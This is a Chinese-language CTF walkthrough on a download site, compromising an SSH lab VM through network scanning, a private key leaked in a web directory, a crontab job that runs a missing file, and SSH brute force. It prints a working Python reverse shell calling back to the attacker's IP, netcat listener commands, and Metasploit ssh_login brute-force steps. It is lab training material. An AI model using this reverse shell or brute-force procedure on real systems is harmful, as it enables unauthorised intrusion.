「安全筆記」 CTF-SSH 服務測試

「安全筆記」 CTF-SSH 服務測試

資源介紹參數
資源類別: 代碼筆記
如遇問題: 聯繫客服/留言反饋
下載地址: 前往下載
釋放雙眼,帶上耳機,聽聽看~!
注意這裡的靶場由於版本的問題,只能使用VM VirtualBox安裝,攻擊機用kali Linux在VMware上安裝,這裡有個坑,在配置網路的時候,全部選擇橋接模式,但是VMware下 編輯->虛擬網路編輯器->更改設置->nat0網卡橋接到的外部網路需要和VirtualBox橋接到的一致,不然搜尋不到網路,而且橋接模式模擬真實計算機在網路中,利用本機網卡來獲取地址的。

環境搭建

注意這裡的靶場由於版本的問題,只能使用VM VirtualBox安裝,攻擊機用kali Linux在VMware上安裝,這裡有個坑,在配置網路的時候,全部選擇橋接模式,但是VMware下 編輯->虛擬網路編輯器->更改設置->nat0網卡橋接到的外部網路需要和VirtualBox橋接到的一致,不然搜尋不到網路,而且橋接模式模擬真實計算機在網路中,利用本機網卡來獲取地址的。所以必須連接在同一網路環境下。

靶機連接在文章最底部

正式開始

我這裡kali Linux 的ip地址是 192.168.43.141
靶機的ip地址是 192.168.43.197
首先我們用netdiscover -r 192.168.43.1/24 掃描目標網路主機,找到靶機ip地址

然後用nmap掃描開放端口,這裡介紹下nmap常用的幾個命令
探測開放的服務與服務的版本
nmap -sV ip
探測全部信息
nmap -A -v ip
探測操作系統類型與版本
nmap -O ip
這裡我們用namp -sV 192.168.43.197 探測靶機開放的服務

接下來我們對收集的信息進行分析
對於ssh服務開放的靶機,首先考慮

  • 暴力破解
  • 私鑰泄露(有沒有對應的密碼,有沒有使用者名泄露)
    對於開放http服務的80端口或者其他端口的靶場,首先考慮
  • 通過瀏覽器訪問對應的靶場http服務
  • 使用探測工具進行目錄探測

接下來我們挖掘敏感信息
首先先對http服務進行探測,我們訪問頁面發現這是一個公司介紹,abouts里有對應的名字,猜測可能是登入的使用者名。

接下來我們掃描目錄
對於掃描結果我們逐條閱讀,首先是一個files目錄,打開發現沒有東西,接下來打開icons,發現裡面有一條奇怪的文件,打開發現是id_ras(私鑰)

利用wget 下載下來
將他名稱修改為id_rsa
然後我們嘗試利用剛才挖掘的使用者名登入
首先修改權限chmod 600 id_rsa
然後登入伺服器 ssh -i id_rsa martin@192.168.43.197
提示密碼我們直接回車,發現沒有密碼

登入後需要擴大戰果,可以進行以下操作。

  • 檢視當前使用者 whoami
  • id 檢視當前使用者的權限
  • 檢視根目錄尋找flag
    很可惜我們並不是root,那麼就需要其他的操作了,因為一般來說,flag屬於root

    我們可以一檢視這些目錄,進行提權
/etc/passwd 檢視所有使用者的列表
/etc/group 檢視使用者組
或者
find / -user 使用者名 檢視屬於某些使用者的文件
/tmp 檢視緩衝文件

檢視使用者列表發現我們猜測的使用者都存在。

在排查完這些文件之後,發現我們需要的信息都不存在,那麼我們就需要深入挖掘
我們可以通過 /etc/crontab 這個文件。這個文件是設定系統定期執行的任務。如果說在這個目錄下有某個使用者的計劃文件,但是具體目錄下沒有這個文件。那麼我們就可以經行創建反彈shell,然後用netcat監聽獲得使用者的權限。
如果存在那麼可以檢視有無執行權限

我們輸入cat /etc/crontab檢視這個文件,發現目錄下有個jimmy使用者的python文件每五分鐘執行一次,進入指定目錄檢視發現沒有那個文件。那麼我們就可以利用這個文件經行反彈shell
我們編寫一個tcp客戶端來反彈shell

#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("192.168.43.141",1234))#注意這裡是kali的ip和你在netcat上監聽地端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

將這個文件儲存在/tmp目錄下然後命名為sekurity.py,並使用chmod +x sekurity.py設置可執行權限。在kali上使用netcat監聽端口。
kali上輸入nc -lpv 1234等個幾分鐘就會看到返回的shell。輸入whoami發現是jimmy,成功反彈shell。但是檢視使用者發現並不是root,那麼這個方式也失敗了。

那麼我們只能使用暴力破解了
這裡我們使用比較知名的cupp創建個性化字典。

git clone https://github.com/jeanphorn/common-password.git #注意安裝git命令
chmod +x cupp.py
./cupp.py -i #以交互方式創建字典

創建時你可以生成自己喜歡的字典:-p我這裡除了末尾隨即字符選了y其他全部回車

然後使用msfconsole進行爆破

msf > use auxiliary/scanner/ssh/ssh_login
msf > show options #檢視參數列表
msf > set rhosts  192.168.43.197 #靶機ip
msf > set username hadi
msf > set set pass_file /root/桌面/tools/common-password/hadi.txt #cupp生成的密碼文件地址
msf > set set threads 5 #設置線程
msf > run #開始爆破

成功爆破出密碼hadi123
這時候我們使用session -i 1連接會話,
python -c "import pty;pty.spawn('/bin/bash')"優化顯示
然後使用su – root提升權限,這時候我們就是root了,然後就可以為所欲為了。

cat flag.txt 就得到了flag啦。

下載權限
檢視
  • 免費下載
    評論並刷新後下載
    登錄後下載
  • {{attr.name}}:
您當前的等級為
登錄後免費下載登錄 小黑屋反思中,不準下載! 評論後刷新頁面下載評論 支付以後下載 請先登錄 您今天的下載次數(次)用完了,請明天再來 支付積分以後下載立即支付 支付以後下載立即支付 您當前的使用者組不允許下載升級會員
您已獲得下載權限 您可以每天下載資源次,今日剩餘
聲明:本文為原創作品,版權歸作者所有。未經許可,不得轉載或用於任何商業用途。如若本站內容侵犯了原著者的合法權益,可聯繫我們進行處理。

給TA打賞
共{{data.count}}人
人已打賞
4 條回復 A文章作者 M管理員
  1. 李希哲

    做個人吧 ,讓我下載下

  2. 李希哲

    好 非常好